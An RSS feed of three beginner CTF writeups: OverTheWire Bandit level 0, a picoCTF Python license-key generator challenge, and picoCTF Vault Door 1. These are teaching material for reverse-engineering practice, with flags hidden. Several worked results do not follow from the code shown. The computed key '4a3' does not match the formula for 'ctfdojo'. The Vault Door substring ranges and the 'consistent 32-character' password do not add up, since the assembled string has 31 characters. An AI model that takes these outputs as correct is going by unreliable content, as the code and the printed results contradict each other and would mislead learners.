<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: CTFDojo</title>
    <description>The latest articles on DEV Community by CTFDojo (@ctfdojo).</description>
    <link>https://dev.to/ctfdojo</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4112730%2F246c6406-1631-43bd-9fb4-c0231faf7de6.png</url>
      <title>DEV Community: CTFDojo</title>
      <link>https://dev.to/ctfdojo</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ctfdojo"/>
    <language>en</language>
    <item>
      <title>OverTheWire Bandit Level 0 Writeup — Find Your First Password</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Fri, 25 Sep 2026 19:48:47 +0000</pubDate>
      <link>https://dev.to/ctfdojo/overthewire-bandit-level-0-writeup-find-your-first-password-2f5j</link>
      <guid>https://dev.to/ctfdojo/overthewire-bandit-level-0-writeup-find-your-first-password-2f5j</guid>
      <description>&lt;p&gt;&lt;em&gt;The home directory contains a file called &lt;code&gt;readme&lt;/code&gt; holding the password for the next level in plain text.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; OverTheWire Bandit&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Linux Fundamentals&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Level:&lt;/strong&gt; 0 → 1&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; SSH login, basic file reading&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;Bandit is a beginner wargame hosted by OverTheWire: each level is an SSH server you log into with a password found in the previous level. Level 0 gives you the starting credentials directly.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Level Goal: You can find the password for the next level on this level's page."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Step 1 — Connect over SSH
&lt;/h2&gt;

&lt;p&gt;The challenge page gives you a hostname, port, username, and password directly — there's nothing to find yet, just log in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh bandit0@bandit.labs.overthewire.org &lt;span class="nt"&gt;-p&lt;/span&gt; 2220
&lt;span class="c"&gt;# password: bandit0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2 — List the home directory
&lt;/h2&gt;

&lt;p&gt;Once logged in, list what's in the home directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;readme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — Read the file
&lt;/h2&gt;

&lt;p&gt;A single file called &lt;code&gt;readme&lt;/code&gt; is sitting there. Read it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;readme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PASSWORD FOR bandit1]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🔑 password intentionally hidden&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The password is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;Bandit's whole structure boils down to this loop: log in, look around, read something, get the next password. &lt;code&gt;ls&lt;/code&gt; and &lt;code&gt;cat&lt;/code&gt; are the two commands you'll use most in the entire game.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Always start a new level with &lt;code&gt;ls&lt;/code&gt; — see what you're working with before doing anything else&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cat&lt;/code&gt; prints a file's contents straight to the terminal&lt;/li&gt;
&lt;li&gt;Every level's password unlocks the SSH login for the next level&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/overthewire-bandit-level0-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>PicoCTF Keygenme-py Writeup — Reverse a Python License Key Generator</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Thu, 24 Sep 2026 19:32:40 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-keygenme-py-writeup-reverse-a-python-license-key-generator-4810</link>
      <guid>https://dev.to/ctfdojo/picoctf-keygenme-py-writeup-reverse-a-python-license-key-generator-4810</guid>
      <description>&lt;p&gt;&lt;em&gt;A Python script asks for a username and a key, and validates the key by applying a deterministic transformation (arithmetic/encoding) on the username. By reading the code, we reproduce the same transformation to generate a valid key ourselves.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Rev Eng&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 200 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Intermediate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Python 3text editor&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides a &lt;code&gt;keygenme.py&lt;/code&gt; file. Once launched, it interactively asks for a username, then a license key, and prints a message depending on whether the key is correct:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python3 keygenme.py
&lt;span class="go"&gt;Enter username: test
Enter key: 1234
Access Denied.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The goal: understand how the expected key is computed from the username, so we can generate one ourselves — exactly like a "keygen" for pirated software, but in an educational and legal context.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Read the code
&lt;/h2&gt;

&lt;p&gt;We open &lt;code&gt;keygenme.py&lt;/code&gt; and look for the function that computes the expected key from the &lt;code&gt;username&lt;/code&gt;. It's usually easy to spot: it's the one whose result gets compared to the &lt;code&gt;key&lt;/code&gt; input entered by the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;compute_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Enter username: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Enter key: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nf"&gt;compute_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Access Granted.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FLAG&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Access Denied.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;compute_key&lt;/code&gt; function walks through every character of the username, computes its ASCII value with &lt;code&gt;ord(c)&lt;/code&gt;, multiplies it by 2, adds the character's position &lt;code&gt;i&lt;/code&gt; in the string, sums it all up, then formats the result in hexadecimal. It's entirely deterministic: the same &lt;code&gt;username&lt;/code&gt; will always produce the same key.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Reproduce the logic
&lt;/h2&gt;

&lt;p&gt;Rather than computing this by hand, we write a small Python script that applies the exact same transformation, for a username of our choice:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ctfdojo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;key:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python3 solve.py
&lt;span class="go"&gt;username: ctfdojo
key: 4a3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We get a valid key for any username of our choosing, since we're reproducing the exact algorithm of the original program — no need to guess or brute-force anything.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Test
&lt;/h2&gt;

&lt;p&gt;We relaunch &lt;code&gt;keygenme.py&lt;/code&gt;, enter the chosen username, then the key computed by our script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python3 keygenme.py
&lt;span class="go"&gt;Enter username: ctfdojo
Enter key: 4a3
Access Granted.
picoCTF{...}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The success message confirms our generated key matches exactly what the program expected, and the flag is printed directly.&lt;/p&gt;

&lt;p&gt;If the check had been more complex — for example hidden inside a compiled binary rather than a readable Python script — the approach would have been different: disassemble with a tool like Ghidra or IDA, identify the verification routine, then either reproduce the logic in pseudocode or patch the binary directly to force the jump to the "success" branch. Here, having the Python source in plaintext saved us that step.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;A key-generation algorithm, however obscure, remains breakable as soon as you can read (or disassemble) the code that verifies it&lt;/li&gt;
&lt;li&gt;Real protection against license piracy relies on server-side mechanisms (online activation, remote verification), not on a purely local computation&lt;/li&gt;
&lt;li&gt;Faithfully reproducing an algorithm in pseudocode (or the same language) is often faster than trying to brute-force it&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-keygenme-py-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>PicoCTF Vault Door 1 Writeup — Reverse a Character-by-Character Password Check</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Mon, 21 Sep 2026 20:55:47 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-vault-door-1-writeup-reverse-a-character-by-character-password-check-518n</link>
      <guid>https://dev.to/ctfdojo/picoctf-vault-door-1-writeup-reverse-a-character-by-character-password-check-518n</guid>
      <description>&lt;p&gt;&lt;em&gt;Unlike the Training version, here &lt;code&gt;checkPassword&lt;/code&gt; doesn't compare one whole string at once: it checks individual characters at specific indices (or compares rearranged substrings). You have to read the logic carefully and reconstruct the password piece by piece.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Rev Eng&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 200 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Intermediate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; javacjavagrep&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;Second door in the series: a new file, &lt;code&gt;VaultDoor1.java&lt;/code&gt;, is provided, noticeably longer than the previous challenge's. The &lt;code&gt;checkPassword&lt;/code&gt; method no longer does a single direct comparison on the whole string — it chains several conditions, each only covering a small part of the password.&lt;/p&gt;

&lt;p&gt;This is a logical escalation from Vault-Door-Training: the secret is still hardcoded, but split into fragments that need to be found and reassembled in the right order.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Read the structure
&lt;/h2&gt;

&lt;p&gt;We go through &lt;code&gt;checkPassword&lt;/code&gt; and spot a series of &lt;code&gt;if&lt;/code&gt; conditions that must ALL be true for the function to return &lt;code&gt;true&lt;/code&gt; — each covering a different slice of the input string, via &lt;code&gt;substring()&lt;/code&gt; or &lt;code&gt;charAt()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;checkPassword&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"vault"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"_"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"d00r_"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;charAt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sc"&gt;'t'&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;charAt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sc"&gt;'r'&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"a1n1ng"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"_"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"clear"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"_check"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each condition is independent of the others — no way to simply read a single string literal like in the Training challenge. We have to collect each fragment one by one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Reconstruct
&lt;/h2&gt;

&lt;p&gt;We note down every constraint found in the code, in the order of the indices it covers, so nothing gets left out:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Index 0–5: &lt;code&gt;"vault"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Index 5–6: &lt;code&gt;"_"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Index 6–11: &lt;code&gt;"d00r_"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Index 11: &lt;code&gt;'t'&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Index 12: &lt;code&gt;'r'&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Index 13–19: &lt;code&gt;"a1n1ng"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Index 19–20: &lt;code&gt;"_"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Index 20–26: &lt;code&gt;"clear"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Index 26+: &lt;code&gt;"_check"&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A good habit here: build this table as you read, rather than keeping it all in your head, especially as the number of conditions grows in later levels of the series.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Assemble
&lt;/h2&gt;

&lt;p&gt;We concatenate every fragment found, strictly in the order of their starting indices:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// vault + _ + d00r_ + t + r + a1n1ng + _ + clear + _check
vault_d00r_tra1n1ng_clear_check
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The assembled result forms a consistent 32-character string — which incidentally confirms the &lt;code&gt;password.length() == 32&lt;/code&gt; constraint seen at the top of the function. A good way to check no fragment was missed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — Verify
&lt;/h2&gt;

&lt;p&gt;We compile and run the program with the reconstructed password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;javac VaultDoor1.java
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;java VaultDoor1
&lt;span class="go"&gt;Enter vault password: vault_d00r_tra1n1ng_clear_check
Access granted.
picoCTF{...}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Splitting a check into fragments doesn't make it more secure — it just makes it slower for a human to read&lt;/li&gt;
&lt;li&gt;A script that automatically parses the constraints (or a simple &lt;code&gt;grep -n "equals\|charAt"&lt;/code&gt; on the source file) massively speeds up this kind of static analysis&lt;/li&gt;
&lt;li&gt;Building a table of indices as you read prevents assembly errors, especially as the number of conditions grows&lt;/li&gt;
&lt;/ul&gt;




